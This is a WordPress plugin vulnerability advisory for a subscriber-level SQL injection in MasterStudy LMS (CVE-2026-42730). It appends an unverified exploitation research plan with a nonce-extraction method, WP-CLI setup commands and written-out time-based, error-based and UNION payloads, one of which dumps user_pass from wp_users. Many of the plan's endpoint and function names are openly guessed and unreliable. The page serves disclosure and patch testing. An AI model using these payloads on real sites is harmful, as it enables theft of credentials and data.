CVE-2026-42730

MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.29 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.7.30
Patched in
3d
Time to patch

Description

The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.7.29 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.7.29
PublishedMay 24, 2026
Last updatedMay 26, 2026

What Changed in the Fix

Changes introduced in v3.7.30

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-42730**, a Subscriber-level SQL Injection vulnerability in the MasterStudy LMS WordPress Plugin (<= 3.7.29). ### 1. Vulnerability Summary The vulnerability exists in the AJAX handling logic of MasterStudy LMS. Authenticated users with Subscriber-level permissio…

Show full research plan

This research plan targets CVE-2026-42730, a Subscriber-level SQL Injection vulnerability in the MasterStudy LMS WordPress Plugin (<= 3.7.29).

1. Vulnerability Summary

The vulnerability exists in the AJAX handling logic of MasterStudy LMS. Authenticated users with Subscriber-level permissions can trigger specific AJAX actions that perform database queries without proper parameterization via $wpdb->prepare() or sufficient escaping. Specifically, parameters related to pagination, sorting, or filtering in the student dashboard (like "My Courses" or "My Certificates") are interpolated directly into SQL strings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: stm_lms_get_my_certificates (Inferred from _core/assets/css/account/my-certificates.css and standard plugin patterns) or stm_lms_get_user_courses.
  • Vulnerable Parameter: offset or page (Inferred).
  • Authentication: Subscriber or higher.
  • Preconditions: The plugin must have its default pages generated (see _core/libraries/compatibility/notices.php, line 58) and the user should ideally be enrolled in at least one course to ensure the query returns results.

3. Code Flow (Inferred)

  1. Entry Point: wp-admin/admin-ajax.php receives a request with action=stm_lms_get_my_certificates.
  2. Hook Registration: STM_LMS_Route::get_my_certificates (or similar) is hooked to wp_ajax_stm_lms_get_my_certificates.
  3. Input Extraction: The handler retrieves $_POST['offset'] or $_POST['page'].
  4. Vulnerable Sink: The value is used in a query like:
    $offset = $_POST['offset'];
    $wpdb->get_results("SELECT ... LIMIT $offset, 10"); // NO PREPARE()
    
  5. Execution: The attacker appends SQL via the offset parameter (e.g., 0; SELECT SLEEP(5)--).

4. Nonce Acquisition Strategy

MasterStudy LMS typically localizes nonces into a JavaScript object named stm_lms_vars or stmlms_ajax_data.

  1. Identify Page: The Student Dashboard page (usually /user-public-account/) contains the "My Certificates" or "Enrolled Courses" sections.
  2. Creation: Ensure the page exists using WP-CLI:
    wp post create --post_type=page --post_title="User Account" --post_name=user-public-account --post_status=publish --post_content='[stm_lms_user_account]'
  3. Extraction:
    • Navigate to the page as a Subscriber.
    • Execute JS: browser_eval("stm_lms_vars.stm_lms_get_my_certificates") or browser_eval("stmlms_ajax_data.nonce").
    • If those fail, check browser_eval("stm_lms_nonces").

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to verify the vulnerability.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: stm_lms_get_my_certificates (or stm_lms_get_user_courses if certificates are empty)
    • nonce: [EXTRACTED_NONCE]
    • offset: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Payload Variations:

  1. Error-Based: offset=1 AND updatexml(1,concat(0x7e,(user()),0x7e),1)
  2. Union-Based: (If column count is known) offset=1 UNION SELECT 1,2,3,user_pass,5... FROM wp_users WHERE ID=1

6. Test Data Setup

  1. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Install/Activate Plugin: (Assumed pre-installed)
  3. Generate Pages: MasterStudy requires pages to be generated to function.
    wp eval "stm_lms_generate_pages();" (Inferred function from _core/libraries/compatibility/notices.php).
  4. Create Course & Enroll:
    • wp post create --post_type=stm-courses --post_title="Test Course" --post_status=publish
    • wp eval "STM_LMS_Course::enrol_user(1, 2);" (Inferred: Post ID 1, User ID 2).

7. Expected Results

  • Vulnerable Response: The HTTP request to admin-ajax.php will take ~5 seconds to complete when the SLEEP(5) payload is used.
  • Successful Extraction: If using error-based, the response body will contain XPATH syntax error: '~admin~'.

8. Verification Steps

  1. Check Logs: Verify wp-content/debug.log if WP_DEBUG is on to see the mangled query.
  2. Database Check: Use WP-CLI to verify the existence of the admin user we are trying to dump:
    wp user get 1 --fields=user_login,user_pass
  3. Confirm Patch: On version 3.7.30, the same request should return a standard AJAX response (likely 0 or {"success":false}) without the 5-second delay.

9. Alternative Approaches

If stm_lms_get_my_certificates is not registered or protected:

  1. Target stm_lms_get_user_courses: This is the most common list on the dashboard.
  2. Target stm_lms_course_order: Used when reordering courses on the dashboard.
  3. Parameter Fuzzing: If offset is sanitized, try order, sort, or status parameters within the same AJAX actions. Many MasterStudy handlers use these to build the ORDER BY clause, which is frequently unquoted.

JavaScript Variable to check for Nonces:

  • stm_lms_vars
  • stmlms_ajax_data
  • masterstudy_lms_vars (inferred from newer versions)

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.